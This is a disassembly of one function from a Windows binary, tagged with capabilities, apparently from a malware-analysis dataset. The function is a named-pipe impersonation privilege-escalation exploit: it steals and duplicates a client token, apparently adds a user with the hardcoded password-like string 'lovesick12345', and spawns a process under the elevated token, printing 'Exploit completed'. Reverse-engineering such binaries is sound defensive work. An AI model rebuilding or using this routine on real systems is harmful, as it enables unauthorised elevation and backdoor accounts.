Function at 0x14001113b
Capabilities:
Create process on windows
Get common file path

Disassembly:
jmp 0x14001aab0
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
sub rsp, 0x320
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0x80
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x348]
mov rax, qword [0x140053038]
xor rax, rbp
mov qword [rbp + 0x2b8], rax
lea rcx, [0x14005d132]
call fcn.140011b36
mov dword [rbp + 4], 0
mov dword [rbp + 0x24], 0
mov qword [rbp + 0x48], 0xffffffffffffffff
mov qword [rbp + 0x68], 0xffffffffffffffff
mov dword [rbp + 0x84], 0
mov qword [rbp + 0xa8], 0
mov qword [rbp + 0xc8], 0
lea rax, [rbp + 0xe8]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rbp + 0x120]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov rax, qword [0x140037ce0]
mov qword [rbp + 0x1a8], rax
lea rax, [rbp + 0x1c8]
lea rcx, str.lovesick12345_
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1e
rep movsb byte [rdi], byte [rsi]
mov rcx, qword [rbp + 0x2e0]
call qword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
test eax, eax
jne 0x14001abb1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ImpersonateNamedPipeClient__._Error:__d_n
call fcn.14001105a
jmp 0x14001af1e
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
lea r9, [rbp + 0x48]
xor r8d, r8d
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenThreadToken]
test eax, eax
jne 0x14001abe9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.OpenThreadToken__._Error:__d_n
call fcn.14001105a
jmp 0x14001af1e
lea rax, [rbp + 0x68]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
mov r9d, 2
xor r8d, r8d
mov edx, 0xf01ff
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
jne 0x14001ac2f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.DuplicateTokenEx___failed._Error:__d_n
call fcn.14001105a
jmp 0x14001af1e
lea rdx, [rbp + 0x1c8]
lea rcx, [rbp + 0x1a8]
call fcn.1400118b6
movzx eax, al
test eax, eax
je 0x14001ac5c
mov dword [rbp + 0x24], 1
lea rcx, str.Add_User_Successfully_n
call fcn.140011569
cmp dword [rbp + 4], 0
je 0x14001ac98
mov r9d, 4
lea r8, [rbp + 4]
mov edx, 0xc
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ADVAPI32.dll_SetTokenInformation]
test eax, eax
jne 0x14001ac98
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.SetTokenInformation___failed._Error:__d_n
call fcn.14001105a
jmp 0x14001af1e
mov dword [rbp + 0x84], 0x400
cmp dword [section..data], 0
je 0x14001acb7
mov dword [rbp + 0x2b4], 0
jmp 0x14001acc1
mov dword [rbp + 0x2b4], 0x10
mov eax, dword [rbp + 0x2b4]
mov ecx, dword [rbp + 0x84]
or ecx, eax
mov eax, ecx
mov dword [rbp + 0x84], eax
mov ecx, 0x208
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0
jne 0x14001ad04
lea rcx, str.Gettting_Directory_Failure_n
call fcn.140011569
jmp 0x14001af1e
mov edx, 0x104
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x14001ad33
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.GetSystemDirectory___failed._Error:__d_n
call fcn.14001105a
jmp 0x14001af1e
xor r8d, r8d
mov rdx, qword [rbp + 0x68]
lea rcx, [rbp + 0xc8]
call fcn.140011a32
test eax, eax
jne 0x14001ad63
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateEnvironmentBlock___failed._Error:__d_n
call fcn.14001105a
jmp 0x14001af1e
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0x120]
call fcn.140011884
mov dword [rbp + 0x120], 0x68
lea rax, str.WinSta0Default
mov qword [rbp + 0x130], rax
lea rax, [rbp + 0xe8]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x120]
mov qword [rsp + 0x48], rax
mov rax, qword [rbp + 0xa8]
mov qword [rsp + 0x40], rax
mov rax, qword [rbp + 0xc8]
mov qword [rsp + 0x38], rax
mov eax, dword [rbp + 0x84]
mov dword [rsp + 0x30], eax
mov eax, dword [section..data]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [0x140054bf0]
xor edx, edx
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
jne 0x14001aed2
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x522
jne 0x14001aeba
lea rcx, str.____CreateProcessAsUser___failed_because_of_a_missing_privilege__retrying_with_CreateProcessWithTokenW__._n
call fcn.14001105a
call qword [sym.imp.ADVAPI32.dll_RevertToSelf]
cmp dword [section..data], 0
jne 0x14001aeaa
lea rax, [rbp + 0xe8]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x120]
mov qword [rsp + 0x38], rax
mov rax, qword [rbp + 0xa8]
mov qword [rsp + 0x30], rax
mov rax, qword [rbp + 0xc8]
mov qword [rsp + 0x28], rax
mov eax, dword [rbp + 0x84]
mov dword [rsp + 0x20], eax
mov r9, qword [0x140054bf0]
xor r8d, r8d
mov edx, 1
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
test eax, eax
jne 0x14001ae9c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateProcessWithTokenW___failed._Error:__d_n
call fcn.14001105a
jmp 0x14001af1e
lea rcx, str.__Exploit_completed__n_n
call fcn.14001105a
jmp 0x14001aeb8
lea rcx, str.____CreateProcessWithTokenW___isnt_compatible_with_option__i_n
call fcn.14001105a
jmp 0x14001af1e
jmp 0x14001aed0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateProcessAsUser___failed._Error:__d_n
call fcn.14001105a
jmp 0x14001af1e
jmp 0x14001aede
lea rcx, str.__Exploit_completed__n_n
call fcn.14001105a
cmp dword [section..data], 0
je 0x14001af0d
mov ecx, 1
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_fflush]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rbp + 0x24], 1
xor eax, eax
test eax, eax
jne 0x14001ab87
cmp qword [rbp + 0x48], 0
je 0x14001af2f
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbp + 0x68], 0
je 0x14001af40
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbp + 0xa8], 0
je 0x14001af57
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.ucrtbased.dll_free]
cmp qword [rbp + 0xc8], 0
je 0x14001af6d
mov rcx, qword [rbp + 0xc8]
call fcn.14001191f
cmp qword [rbp + 0xe8], 0
je 0x14001af84
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbp + 0xf0], 0
je 0x14001af9b
mov rcx, qword [rbp + 0xf0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 0x24]
mov edi, eax
lea rcx, [rbp - 0x60]
lea rdx, [0x140036a80]
call fcn.140011979
mov eax, edi
mov rcx, qword [rbp + 0x2b8]
xor rcx, rbp
call fcn.140011596
lea rsp, [rbp + 0x2c0]
pop rdi
pop rsi
pop rbp
ret